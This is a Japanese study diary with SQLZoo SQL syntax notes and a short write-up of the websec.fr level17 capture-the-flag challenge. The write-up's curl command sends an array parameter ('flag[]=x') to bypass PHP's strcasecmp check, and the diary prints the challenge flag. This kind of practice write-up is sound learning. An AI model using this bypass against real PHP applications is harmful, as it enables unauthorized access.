---
# System prepended metadata

title: 2020/5/31 upper layer progress

---

# 2020/5/31 upper layer progress

## SQL 勉強会
SQL zoo(https://sqlzoo.net/) にて[SELECT from Nobel Tutorial]からスタート[Nobel Quiz]まで終
今日も今日とてSQLの文法色々
- ~ WHERE  yr BETWEEN 1980 AND 1989 **AND** subject = 'Literature'
ANDで条件追加

- ~ WHERE **(subject = 'Physics' AND yr = 1980) OR (subject = 'Chemistry' AND yr = 1984)**
()を使えば入れ子

- ~ WHERE yr =1980 AND **NOT (subject = 'Medicine' OR subject = 'Chemistry')**
()の中を否定するNOTの使い方

- ~ WHERE **winner =  'EUGENE O''NEILL'**
'のエスケープは、''のように'の前に'付ける。

- ~ WHERE winner LIKE 'Sir%' **ORDER BY yr DESC,winner**
ORDER BYでソート。記述したカラム順に優先的にソートされ、カラムごとに降順、昇順等指定できる。

- SELECT COUNT(**DISTINCT yr**) FROM nobel WHERE yr NOT IN (SELECT **DISTINCT yr** FROM nobel WHERE subject = 'Medicine')
重複消し

### 余談
- 14.Chemistry and Physics lastは0か1をつけてやってそれをソートすればうまい具合に好きな順に表示できるけど動かなかったやつ
- NobelとNovelは違うよ

## websec[.]fr
今回取り組んだlevel17は、phpのstrcasecmp関数の処理の仕方が甘いという話だった。
ソースの[This makes timing-attack impractical.]に騙された。
入力される値を格納する変数に配列が読み込まれると、strcasecmp関数による比較時に文字列が等しいときと同じ結果を返してしまうことを利用する。
最新のバージョンではどうなんだろ。
### writeup(windows)
```
> .\curl.exe -s -d "flag[]=x&submit=ok" http://websec.fr/level17/index.php | findstr "WEBSEC"
                                <div class="alert alert-success">Here is your flag: <mark>WEBSEC{It_seems_that_php_could_use_a_stricter_typing_system}</mark>.</div>                            </div>
```
flag変数に配列をぶち込んで、submitにokを渡すことで比較実行。
curlの```-s```はダウンロードに関するサイレントオプション、```-d```はデータをくっつけて送るオプション(このときはデフォルトでPOSTが選択される)
これでflag get!
flag:**WEBSEC{It_seems_that_php_could_use_a_stricter_typing_system}**
#### 参考
[Regalado (In) Security: Unauthorized Access: Bypassing PHP strcmp()](http://danuxx.blogspot.com/2013/03/unauthorized-access-bypassing-php-strcmp.html)

## 今後
- SQLはあと3回くらいで終わらせたい。
- 徳丸本は夏休み前までに決着つけたかったけど無理か

